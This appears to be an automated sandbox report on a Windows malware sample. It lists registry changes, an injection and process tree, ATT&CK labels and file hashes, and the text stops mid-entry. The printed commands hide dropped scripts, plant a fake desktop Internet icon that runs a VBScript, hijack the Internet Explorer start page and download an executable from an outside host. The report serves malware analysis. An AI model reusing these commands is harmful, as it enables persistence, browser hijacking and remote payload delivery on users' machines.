Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\shell\┤≥┐¬╓≈╥│(&H)\Command	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\ShellFolder	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\ShellFolder\Attributes = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\ShellFolder	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\ShellFolder	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\DefaultIcon\ = "shdoclc.dll,0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\InProcServer32	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\InProcServer32\	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\shell	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\shell\╩⌠╨╘(&R)\Command	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\ShellFolder	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\ShellFolder\HideFolderVerbs	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\ShellFolder\HideOnDesktopPerUser	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\InProcServer32\ = "%systemRoot%\\SysWow64\\shdocvw.dll"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\InProcServer32\ThreadingModel = "Apartment"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\shell\┤≥┐¬╓≈╥│(&H)\Command	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\shell\╩⌠╨╘(&R)\Command\ = "rundll32.exe shell32.dll,Control_RunDLL INETCPL.CPL,,0"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\shell\┤≥┐¬╓≈╥│(&H)\Command\	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\ShellFolder\	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\InfoTip = "@shdoclc.dll,-880"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\LocalizedString = "@shdoclc.dll,-880"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\InProcServer32	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\shell\┤≥┐¬╓≈╥│(&H)	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\shell\┤≥┐¬╓≈╥│(&H)\	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\shell\ = "┤≥┐¬╓≈╥│(&H)"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\shell\┤≥┐¬╓≈╥│(&H)	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\shell\┤≥┐¬╓≈╥│(&H)\Command\ = "wscript.exe c:\\progra~1\\Kingsoft\\myfile\\Microsoft\\bot.vbs"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\ShellFolder\WantsParsDisplayName	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\shell\╩⌠╨╘(&R)	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\shell\╩⌠╨╘(&R)\Command\	reg.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
5076	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
5076	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2376	iexplore.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
2376	iexplore.exe
2376	iexplore.exe
2276	IEXPLORE.EXE
2276	IEXPLORE.EXE
2656	f42r.exe
2656	f42r.exe
2656	f42r.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5076 wrote to memory of 340	5076	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe	84
PID 5076 wrote to memory of 340	5076	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe	84
PID 5076 wrote to memory of 340	5076	81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe	84
PID 340 wrote to memory of 3908	340	adminlog.exe	85
PID 340 wrote to memory of 3908	340	adminlog.exe	85
PID 340 wrote to memory of 3908	340	adminlog.exe	85
PID 3908 wrote to memory of 2380	3908	WScript.exe	86
PID 3908 wrote to memory of 2380	3908	WScript.exe	86
PID 3908 wrote to memory of 2380	3908	WScript.exe	86
PID 2380 wrote to memory of 2376	2380	cmd.exe	88
PID 2380 wrote to memory of 2376	2380	cmd.exe	88
PID 3908 wrote to memory of 3008	3908	WScript.exe	92
PID 3908 wrote to memory of 3008	3908	WScript.exe	92
PID 3908 wrote to memory of 3008	3908	WScript.exe	92
PID 3008 wrote to memory of 3944	3008	cmd.exe	94
PID 3008 wrote to memory of 3944	3008	cmd.exe	94
PID 3008 wrote to memory of 3944	3008	cmd.exe	94
PID 3008 wrote to memory of 3504	3008	cmd.exe	95
PID 3008 wrote to memory of 3504	3008	cmd.exe	95
PID 3008 wrote to memory of 3504	3008	cmd.exe	95
PID 3008 wrote to memory of 4448	3008	cmd.exe	96
PID 3008 wrote to memory of 4448	3008	cmd.exe	96
PID 3008 wrote to memory of 4448	3008	cmd.exe	96
PID 2376 wrote to memory of 2276	2376	iexplore.exe	97
PID 2376 wrote to memory of 2276	2376	iexplore.exe	97
PID 2376 wrote to memory of 2276	2376	iexplore.exe	97
PID 3008 wrote to memory of 2284	3008	cmd.exe	98
PID 3008 wrote to memory of 2284	3008	cmd.exe	98
PID 3008 wrote to memory of 2284	3008	cmd.exe	98
PID 3008 wrote to memory of 3136	3008	cmd.exe	99
PID 3008 wrote to memory of 3136	3008	cmd.exe	99
PID 3008 wrote to memory of 3136	3008	cmd.exe	99
PID 3008 wrote to memory of 3872	3008	cmd.exe	100
PID 3008 wrote to memory of 3872	3008	cmd.exe	100
PID 3008 wrote to memory of 3872	3008	cmd.exe	100
PID 3008 wrote to memory of 3904	3008	cmd.exe	101
PID 3008 wrote to memory of 3904	3008	cmd.exe	101
PID 3008 wrote to memory of 3904	3008	cmd.exe	101
PID 3008 wrote to memory of 3524	3008	cmd.exe	102
PID 3008 wrote to memory of 3524	3008	cmd.exe	102
PID 3008 wrote to memory of 3524	3008	cmd.exe	102
PID 3008 wrote to memory of 4028	3008	cmd.exe	103
PID 3008 wrote to memory of 4028	3008	cmd.exe	103
PID 3008 wrote to memory of 4028	3008	cmd.exe	103
PID 3008 wrote to memory of 808	3008	cmd.exe	104
PID 3008 wrote to memory of 808	3008	cmd.exe	104
PID 3008 wrote to memory of 808	3008	cmd.exe	104
PID 3008 wrote to memory of 364	3008	cmd.exe	105
PID 3008 wrote to memory of 364	3008	cmd.exe	105
PID 3008 wrote to memory of 364	3008	cmd.exe	105
PID 3008 wrote to memory of 4952	3008	cmd.exe	106
PID 3008 wrote to memory of 4952	3008	cmd.exe	106
PID 3008 wrote to memory of 4952	3008	cmd.exe	106
PID 3008 wrote to memory of 3520	3008	cmd.exe	108
PID 3008 wrote to memory of 3520	3008	cmd.exe	108
PID 3008 wrote to memory of 3520	3008	cmd.exe	108
PID 3008 wrote to memory of 3260	3008	cmd.exe	109
PID 3008 wrote to memory of 3260	3008	cmd.exe	109
PID 3008 wrote to memory of 3260	3008	cmd.exe	109
PID 3008 wrote to memory of 1436	3008	cmd.exe	110
PID 3008 wrote to memory of 1436	3008	cmd.exe	110
PID 3008 wrote to memory of 1436	3008	cmd.exe	110
PID 3008 wrote to memory of 1624	3008	cmd.exe	111
PID 3008 wrote to memory of 1624	3008	cmd.exe	111

Views/modifies file attributes 1 TTPs 4 IoCs

evasion

Hidden Files and Directories

T1158

pid	Process
3944	attrib.exe
3504	attrib.exe
4448	attrib.exe
2284	attrib.exe

C:\Users\Admin\AppData\Local\Temp\81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
"C:\Users\Admin\AppData\Local\Temp\81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe"
1⤵
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5076
- C:\Users\Admin\AppData\Local\Temp\adminlog.exe
  "C:\Users\Admin\AppData\Local\Temp\adminlog.exe"
  2⤵
  - Executes dropped EXE
  - Checks computer location settings
  - Drops file in Program Files directory
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:340
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Program Files\Kingsoft\myfile\file.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:3908
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C start /min iexplore http://www.dao234.com/index2.html?51dd
      4⤵
      Checks computer location settings
      Suspicious use of WriteProcessMemory
      PID:2380
    - - C:\Program Files\Internet Explorer\iexplore.exe
        
        "C:\Program Files\Internet Explorer\iexplore.exe" http://www.dao234.com/index2.html?51dd
        5⤵
        Modifies Internet Explorer settings
        Suspicious use of FindShellTrayWindow
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:2376
      - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2376 CREDAT:17410 /prefetch:2
        6⤵
        Modifies Internet Explorer settings
        Suspicious use of SetWindowsHookEx
        
        PID:2276
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C .\tool.cmd
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3008
    - - C:\Windows\SysWOW64\attrib.exe
        
        attrib +r +h +s ".\tool.cmd"
        5⤵
        Sets file to hidden
        Drops file in Program Files directory
        Views/modifies file attributes
        
        PID:3944
    - - C:\Windows\SysWOW64\attrib.exe
        
        attrib +r +h +s ".\open.vbs"
        5⤵
        Sets file to hidden
        Drops file in Program Files directory
        Views/modifies file attributes
        
        PID:3504
    - - C:\Windows\SysWOW64\attrib.exe
        
        attrib +r +h +s ".\starts.vbs"
        5⤵
        Sets file to hidden
        Drops file in Program Files directory
        Views/modifies file attributes
        
        PID:4448
    - - C:\Windows\SysWOW64\attrib.exe
        
        attrib +r +h +s ".\Microsoft\bot.vbs"
        5⤵
        Sets file to hidden
        Drops file in Program Files directory
        Views/modifies file attributes
        
        PID:2284
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoInternetIcon" /t REG_DWORD /d 1 /f
        5⤵
        
        PID:3136
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{00000108-0000-0010-8000-00AA006DCCCC}"
        5⤵
        
        PID:3872
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}"
        5⤵
        Modifies registry class
        
        PID:3904
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}" /v "InfoTip" /t REG_SZ /d "@shdoclc.dll,-880" /f
        5⤵
        Modifies registry class
        
        PID:3524
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}" /v "LocalizedString" /t REG_SZ /d "@shdoclc.dll,-880" /f
        5⤵
        Modifies registry class
        
        PID:4028
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\DefaultIcon"
        5⤵
        Modifies registry class
        
        PID:808
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\DefaultIcon" /ve /t REG_EXPAND_SZ /d "shdoclc.dll,0" /f
        5⤵
        Modifies registry class
        
        PID:364
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\InProcServer32"
        5⤵
        Modifies registry class
        
        PID:4952
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\InProcServer32" /ve /t REG_SZ /d "%systemRoot%\system32\shdocvw.dll" /f
        5⤵
        Modifies registry class
        
        PID:3520
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\InProcServer32" /v "ThreadingModel" /t REG_SZ /d "Apartment" /f
        5⤵
        Modifies registry class
        
        PID:3260
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\shell"
        5⤵
        Modifies registry class
        
        PID:1436
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\shell" /ve /t REG_SZ /d "┤≥┐¬╓≈╥│(&H)" /f
        5⤵
        Modifies registry class
        
        PID:1624
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\shell\┤≥┐¬╓≈╥│(&H)"
        5⤵
        Modifies registry class
        
        PID:3896
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\shell\┤≥┐¬╓≈╥│(&H)" /v "MUIVerb" /t REG_SZ /d "@shdoclc.dll,-10241" /f
        5⤵
        Modifies registry class
        
        PID:4644
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\shell\┤≥┐¬╓≈╥│(&H)\Command"
        5⤵
        Modifies registry class
        
        PID:3912
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\shell\┤≥┐¬╓≈╥│(&H)\Command" /ve /t REG_SZ /d "wscript.exe c:\progra~1\Kingsoft\myfile\Microsoft\bot.vbs" /f
        5⤵
        Modifies registry class
        
        PID:4348
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\shell\╩⌠╨╘(&R)"
        5⤵
        Modifies registry class
        
        PID:4252
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\shell\╩⌠╨╘(&R)\Command"
        5⤵
        Modifies registry class
        
        PID:2500
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\shell\╩⌠╨╘(&R)\Command" /ve /t REG_SZ /d "rundll32.exe shell32.dll,Control_RunDLL INETCPL.CPL,,0" /f
        5⤵
        Modifies registry class
        
        PID:1956
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\ShellFolder"
        5⤵
        Modifies registry class
        
        PID:3048
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\ShellFolder" /v "Attributes" /t REG_DWORD /d 0 /f
        5⤵
        Modifies registry class
        
        PID:480
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\ShellFolder" /v "HideFolderVerbs" /t REG_SZ /d "" /f
        5⤵
        Modifies registry class
        
        PID:3432
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\ShellFolder" /v "HideOnDesktopPerUser" /t REG_SZ /d "" /f
        5⤵
        Modifies registry class
        
        PID:2268
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\ShellFolder" /v "WantsParsDisplayName" /t REG_SZ /d "" /f
        5⤵
        Modifies registry class
        
        PID:2816
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /t REG_SZ /d "http://www.9281.net/?cmd" /f
        5⤵
        Modifies Internet Explorer settings
        Modifies Internet Explorer start page
        
        PID:4256
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Default_Page_URL" /t REG_SZ /d "http://www.9281.net/?cmd" /f
        5⤵
        Modifies Internet Explorer settings
        
        PID:4840
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C .\360.cmd
      4⤵
      Drops file in Program Files directory
      PID:2136
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C .\fav\fav.cmd
      4⤵
      Drops file in Program Files directory
      PID:3376
- C:\Windows\SysWOW64\wscript.exe
  "wscript.exe" C:\Users\Admin\AppData\Local\Temp\123.vbs
  2⤵
  - Checks computer location settings
  PID:1960
- - C:\Users\Admin\AppData\Local\Temp\syslog.exe
    "C:\Users\Admin\AppData\Local\Temp\syslog.exe"
    3⤵
    - Executes dropped EXE
    PID:2980
  - - C:\Users\Admin\AppData\Local\Temp\setup.exe.exe
      "C:\Users\Admin\AppData\Local\Temp\setup.exe.exe"
      4⤵
      Executes dropped EXE
      PID:2136
  - - C:\Users\Admin\AppData\Local\Temp\youbei.exe.exe
      "C:\Users\Admin\AppData\Local\Temp\youbei.exe.exe"
      4⤵
      Executes dropped EXE
      Checks computer location settings
      PID:1164
    - - C:\Users\Admin\AppData\Local\Temp\RarSFX0\f42r.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RarSFX0\f42r.exe" "http://download.youbak.com/msn/software/partner/36a.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetWindowsHookEx
        
        PID:2656
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2980 -s 496
      4⤵
      Program crash
      PID:4996

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 2980 -ip 2980
1⤵
PID:4844

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Hidden Files and Directories

T1158

Privilege Escalation

Defense Evasion

Hidden Files and Directories

T1158

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files\Kingsoft\myfile\360.cmd

Filesize
1018B

MD5
8c29879e7f04898e3546273718e84ac3

SHA1
abd1bb2dbda58361ca8990654c7d4229f04f9c96

SHA256
62200ae22dac66425e3d02c517953498a96870aa48a8280a168f7d58d0e42856

SHA512
c687f20504c6b9e235899e499839ba86c3ab23f1dbf9b5f91c7f9de9ac52f130a11f6218b2845dd14915439f711cea94c9b0a0292e62b8f9c37fe5ed105215f4

Download Submit
C:\Program Files\Kingsoft\myfile\Internet Expl0rer.lnk

Filesize
104B

MD5
bfcdb036c88aa44826253577e5306e76

SHA1
687c9c104f25c1c4d94b6929e68b51fcb1560412

SHA256
c765f7b9f90fc6fb6ad5ecda3f4219e5d07f793defb9b9b9ea4c23d4e62795cd

SHA512
049a5c62b7bbbc9c1d9f911ccbec5388e137149f3b34c42e08aa0de2b22c46450c408dd987b96ae3c857f5e56e457c4485501d82a0790348fda952b3ea64d1ed

Download Submit
C:\Program Files\Kingsoft\myfile\Microsoft\bot.vbs

Filesize
150B

MD5
60957d450b2388e851e1c14b478e493f

SHA1
dd88327e4b120449b4281a98a54c5e255b931b66

SHA256
0eff0acb0a712b54003d39b9fdbe98fe023b4ad6821c2d749fa7cdcb2e6abbc0

SHA512
09eee433e8253a3401656974cbe3c76cf5fc2ac5afea700c6ea91230ab12c292cfd481548e18ea0c4597dce6ac34f30f3f1fd14c4d6543c20ee551b167438576

Download Submit
C:\Program Files\Kingsoft\myfile\fav\fav.cmd

Filesize
340B

MD5
117120c9a895a0495e45800e533107f6

SHA1
0b3f93b0a5eff59e2e6c4368e4647f95eb1b0629

SHA256
446472940134137cc6735eadc162054f02a96a3b5ac9a860510d57d8fb585027

SHA512
aeac16020997169759265437fa662e9f1a8ade7b0bce56da4de8cfcad7896e176f3a66304142a7185195236e6c0e3a4ed32d135946c0b3c3a2aec7a97f335033

Download Submit
C:\Program Files\Kingsoft\myfile\fav\tao2.ico

Filesize
12KB

MD5
8320a22354a5419af035cdf42902ae93

SHA1
d9954707de08eaa6ecc7d13d69f76c51b316ebcc

SHA256
419408ac3e52f9b5878825dd3fc416a394ff5665208bbd36930ea52910be04bc

SHA512
592c4404292705321da9ec099ff60a22d396395acf31f900d4da661949a40c7966fcb20e7f8cadcd41c1dc729a290d68b21a74a352cb5b1b0a1b7b0ca1d5715b

Download Submit
C:\Program Files\Kingsoft\myfile\file.vbs

Filesize
346B

MD5
717fd6d87040c9b1d671a04a7bf739f8

SHA1
f2a5f183c9151065c289fe09c7da592eefa36d11

SHA256
b24dd257dd7ec11e922a2cda431af8a831bf8317bfcf806a5c4956f787129c22

SHA512
d6fb655d49896061d6a3f328f54455e8db774b46b410527c4b40682491c144376aac0b2ba0cdc5c6574335376298d1f637afa092a598ee8ea5ce9679b0db6a69

Download Submit
C:\Program Files\Kingsoft\myfile\open.vbs

Filesize
234B

MD5
de74b833baf31e61d0b1888079050044

SHA1
2db44ceda0b82b80eb659beb549912c366bc0884

SHA256
a7ed0d8b7d01af6c889384df1f39f1d25f3726271dccff3ce92bbea17b826975

SHA512
30657c3028d70cf4810b01202af779c97900b08b0345460eb33c9d1dfc83276a6d881395039d1c1cf41759a230750b1af893719d26f20162a4832555249ffeb7

Download Submit
C:\Program Files\Kingsoft\myfile\se.vbs

Filesize
174B

MD5
a38677651a84291c87714ae75327c8af

SHA1
dbcf971e7cdee38ff12d1d25dd11d51744e402d7

SHA256
861762e94987be82592a2f466d9906451cb36187efcc4ec39533b0dec254d690

SHA512
d00c0a7d31c6a1f83fddeecf94fe6ad6786e47fa73d40c1d83870bb17229ed0213684248aa91f805ce32db8ff235e51a322e2190feed7c098141d19a5d158f45

Download Submit
C:\Program Files\Kingsoft\myfile\se1.vbs

Filesize
174B

MD5
4654319f7c4223d46308b4b9a48d5e7d

SHA1
031cbc87a7e6a794f21b4452d1b478b0f0e62f89

SHA256
3ad3323b74967f5828032b1ffc0e50e0f633100df3b8657320a8572ab830673d

SHA512
687c7e04673e4cc9e3324590d7f28fb35d5b931ea48b4ba959fdd5ddd7fbfc598b571b03e28aaf7180e9267a0c5d0644fcde136afbe20776f038ca0bb704c894

Download Submit
C:\Program Files\Kingsoft\myfile\starts.vbs

Filesize
149B

MD5
440c8d7340a88e3fadfd444c5460c088

SHA1
440675d6fe90710c1854518e06aa9abe8b959b9c

SHA256
9905a368352989559d63a1c022d447e0788dfacd6b266fc5ee6ad6cbc90591cd

SHA512
96b17d83a73814be2313093b108a3a3ef38bc9407e4a80d264f2e59eada78fda0e3decabc19d53ff55b878a469113fc3de6f33482bc0881102661d24344912e0

Download Submit
C:\Program Files\Kingsoft\myfile\tool.cmd

Filesize
4KB

MD5
cc64c6ff303218674161c13ff53e0e74

SHA1
1a9eb52104d9ff12ed4b6c6798c23d1de1b4285d

SHA256
0a1714f683b83170b1d190904d5a13eca30fc35fc4ffb5a1f75b29ef58301ffd

SHA512
ad0c042a69b3ab984ccfbc9817318dadc2ea5e98fc989bed57737b3dd82eb5704b379f48b364ba75af3f22d32bdc3bc205ae2df345b61a1d4e2324767aa1bc3b

Download Submit
C:\Program Files\Kingsoft\myfile\tools.lnk

Filesize
757B

MD5
9ae874c9130cff5b6eec97eea2d65c03

SHA1
5f65f613afad727b69600c941fe1783ff645eaf2

SHA256
2cf69675c2211b612ee8fd5140936d977a9de2f8b2b2c6f525e6702d7c82f940

SHA512
28f93301aaca370847824bd091e5588d2be36c498f976dece06a6228b0b465c7cdc1b0d65193ac93e14e9a893f543847ddb90e80cd9313939f851d988e502a7a

Download Submit
C:\Users\Admin\AppData\Local\Temp\123.vbs

Filesize
195B

MD5
62e9abcd55c32f104764fa77abb71ab8

SHA1
a4e2ad6fc4782fd54457c567fabcd1042f86d7b1

SHA256
b9daf5bae71d1201089ae61a6f94777d33ba6c837c1d2b50debf8bf02d6fa9bf

SHA512
014a9b7c70eb5877b6cfaf7b2730607262f4a7c61b840849de72a3c1f2c5ac7555ba31ff8528f629feadcaa605cf7388e12b5cb48ff7a0b294510fc7e9912688

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\f42r.exe

Filesize
228KB

MD5
7c9e6e3501b16c613cfa6fbbd814bc6f

SHA1
33630a78fba5401b183fcdef83ce6412bf14b02a

SHA256
7abe19430e454b3aa7763f198f24fb0be3d79cb9648d611f3b8859eae7d3a333

SHA512
e86cafacf173acc1e2d788d3e0bce432583d1cd4a45fe99d149fbc50480b883f85def021300843c73b8cbce512d2ef56f30ca5978c7d14720898f62b6dc7879d

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\f42r.exe

Filesize
228KB

MD5
7c9e6e3501b16c613cfa6fbbd814bc6f

SHA1
33630a78fba5401b183fcdef83ce6412bf14b02a

SHA256
7abe19430e454b3aa7763f198f24fb0be3d79cb9648d611f3b8859eae7d3a333

SHA512
e86cafacf173acc1e2d788d3e0bce432583d1cd4a45fe99d149fbc50480b883f85def021300843c73b8cbce512d2ef56f30ca5978c7d14720898f62b6dc7879d

Download Submit
C:\Users\Admin\AppData\Local\Temp\adminlog.exe

Filesize
110KB

MD5
198afc79333eaf3e25d7a06a993405bd

SHA1
